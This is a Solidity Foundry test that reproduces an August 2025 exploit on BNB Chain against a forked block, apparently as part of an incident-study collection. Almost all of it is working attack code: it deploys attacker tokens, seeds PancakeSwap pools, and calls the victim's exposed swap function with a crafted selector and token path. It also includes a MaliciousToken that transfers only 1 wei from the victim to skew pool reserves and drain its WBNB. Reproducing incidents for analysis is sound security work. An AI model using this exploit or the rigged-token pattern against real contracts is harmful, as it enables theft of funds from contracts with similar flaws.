src/test/2025-08/BscInitcodeToken_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 700.32 USD
8// Attacker : 0xEBE15A67e37203563D0d99AafaF06ecF41305FbA
9// Attack Contract : 0xE603826Ac124450522684C763A37d0e181984716
10// Vulnerable Contract : 0x0B0d67049FC34Fd8Ab2559A456a80276E805c4Da
11// Attack Tx : https://bscscan.com/tx/0x33fa83ae1029a82ae4b46eb37432847f270a8e3690f2e9ba71a1e5172ff62a59
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x0B0d67049FC34Fd8Ab2559A456a80276E805c4Da#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1619
18//
19// Attack summary: The attacker deployed two ERC20 tokens, seeded PancakeSwap pools with tiny liquidity, and called an
20// unverified victim function with those token addresses. The victim spent its full WBNB balance through the attacker
21// pools. During the reverse swap, one malicious token transferred only 1 wei from the victim, leaving the WBNB/DD pair
22// reserve-skewed so the attacker could sell pre-minted DD tokens for the victim-funded WBNB.
23// Root cause: the victim exposed a public function that accepted arbitrary token path parameters and used the victim's
24// own WBNB balance in PancakeSwap swaps, allowing attacker-controlled fee-on-transfer tokens to manipulate the pools.
25 
26address constant ATTACKER = 0xEBE15A67e37203563d0D99AafAf06eCf41305FbA;
27address constant ATTACK_CONTRACT = 0xe603826ac124450522684c763a37D0E181984716;
28address constant VICTIM = 0x0B0d67049fc34fD8aB2559a456A80276E805c4DA;
29address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
30address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
31 
32contract ContractTest is BaseTestWithBalanceLog {
33    IPancakeRouter private constant router = IPancakeRouter(payable(PANCAKE_ROUTER));
34    IUniswapV2Factory private constant factory =
35        IUniswapV2Factory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73);
36 
37    MaliciousToken private ddToken;
38    MaliciousToken private secondToken;
39 
40    function setUp() public {
41        uint256 forkBlock = 56_479_285;
42        vm.createSelectFork("bsc", forkBlock);
43        vm.label(ATTACKER, "Attacker");
44        vm.label(ATTACK_CONTRACT, "Attack Contract");
45        vm.label(VICTIM, "Victim");
46        vm.label(PANCAKE_ROUTER, "Pancake Router");
47        vm.label(WBNB_TOKEN, "WBNB");
48 
49        fundingToken = address(0);
50        attacker = ATTACKER;
51    }
52 
53    function testExploit() public balanceLog {
54        vm.deal(address(this), 1 ether);
55        uint256 attackerBnbBefore = ATTACKER.balance;
56 
57        ddToken = new MaliciousToken("DD", "DD");
58        secondToken = new MaliciousToken("Token57", "T57");
59 
60        ddToken.approve(PANCAKE_ROUTER, type(uint256).max);
61        secondToken.approve(PANCAKE_ROUTER, type(uint256).max);
62 
63        uint256 deadline = block.timestamp + 1_800;
64        router.addLiquidityETH{value: 10_000_000_000_000}(
65            address(ddToken), 0.1 ether, 0, 0, address(this), deadline
66        );
67        router.addLiquidity(address(ddToken), address(secondToken), 0.1 ether, 0.1 ether, 0, 0, address(this), deadline);
68 
69        address ddSecondPair = factory.getPair(address(ddToken), address(secondToken));
70        secondToken.setVictimTransferRule(VICTIM, ddSecondPair);
71 
72        uint256 victimWbnbBefore = IERC20(WBNB_TOKEN).balanceOf(VICTIM);
73        bytes memory trigger = _buildVictimCall(victimWbnbBefore);
74        (bool ok,) = VICTIM.call(trigger);
75        require(ok, "victim call failed");
76 
77        address[] memory path = new address[](2);
78        path[0] = address(ddToken);
79        path[1] = WBNB_TOKEN;
80        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
81            1_000_000 ether, 0, path, ATTACKER, block.timestamp + 1_800
82        );
83 
84        assertEq(IERC20(WBNB_TOKEN).balanceOf(VICTIM), 2_486_728, "victim WBNB should be nearly drained");
85        assertGt(ATTACKER.balance - attackerBnbBefore, 0.9 ether, "BNB profit");
86    }
87 
88    function _buildVictimCall(
89        uint256 amountIn
90    ) internal view returns (bytes memory) {
91        return abi.encodeWithSelector(
92            bytes4(0xdc0b3665),
93            uint256(0),
94            uint256(0),
95            address(secondToken),
96            address(ddToken),
97            amountIn,
98            uint256(0),
99            uint256(0),
100            uint256(0),
101            uint256(0),
102            uint256(0),
103            uint256(0),
104            uint256(0)
105        );
106    }
107}
108 
109contract MaliciousToken {
110    event Approval(address indexed owner, address indexed spender, uint256 value);
111    event Transfer(address indexed from, address indexed to, uint256 value);
112 
113    string public name;
114    string public symbol;
115    uint8 public constant decimals = 18;
116    uint256 public totalSupply;
117 
118    mapping(address => uint256) private balances;
119    mapping(address => mapping(address => uint256)) private allowances;
120 
121    address private victim;
122    address private victimPair;
123 
124    constructor(string memory name_, string memory symbol_) {
125        name = name_;
126        symbol = symbol_;
127        totalSupply = 10_000_000 ether;
128        balances[msg.sender] = totalSupply;
129        emit Transfer(address(0), msg.sender, totalSupply);
130    }
131 
132    function setVictimTransferRule(address victim_, address victimPair_) external {
133        victim = victim_;
134        victimPair = victimPair_;
135    }
136 
137    function balanceOf(
138        address account
139    ) external view returns (uint256) {
140        return balances[account];
141    }
142 
143    function allowance(address owner, address spender) external view returns (uint256) {
144        return allowances[owner][spender];
145    }
146 
147    function approve(address spender, uint256 amount) external returns (bool) {
148        allowances[msg.sender][spender] = amount;
149        emit Approval(msg.sender, spender, amount);
150        return true;
151    }
152 
153    function transfer(address to, uint256 amount) external returns (bool) {
154        _transfer(msg.sender, to, amount);
155        return true;
156    }
157 
158    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
159        uint256 allowed = allowances[from][msg.sender];
160        if (allowed != type(uint256).max) {
161            require(allowed >= amount, "insufficient allowance");
162            allowances[from][msg.sender] = allowed - amount;
163        }
164 
165        uint256 moved = _effectiveTransferAmount(from, to, amount);
166        _transfer(from, to, moved);
167        return true;
168    }
169 
170    function _effectiveTransferAmount(address from, address to, uint256 amount) private view returns (uint256) {
171        if (from == victim && to == victimPair) {
172            return 1;
173        }
174        return amount;
175    }
176 
177    function _transfer(address from, address to, uint256 amount) private {
178        require(balances[from] >= amount, "insufficient balance");
179        unchecked {
180            balances[from] -= amount;
181            balances[to] += amount;
182        }
183        emit Transfer(from, to, amount);
184    }
185}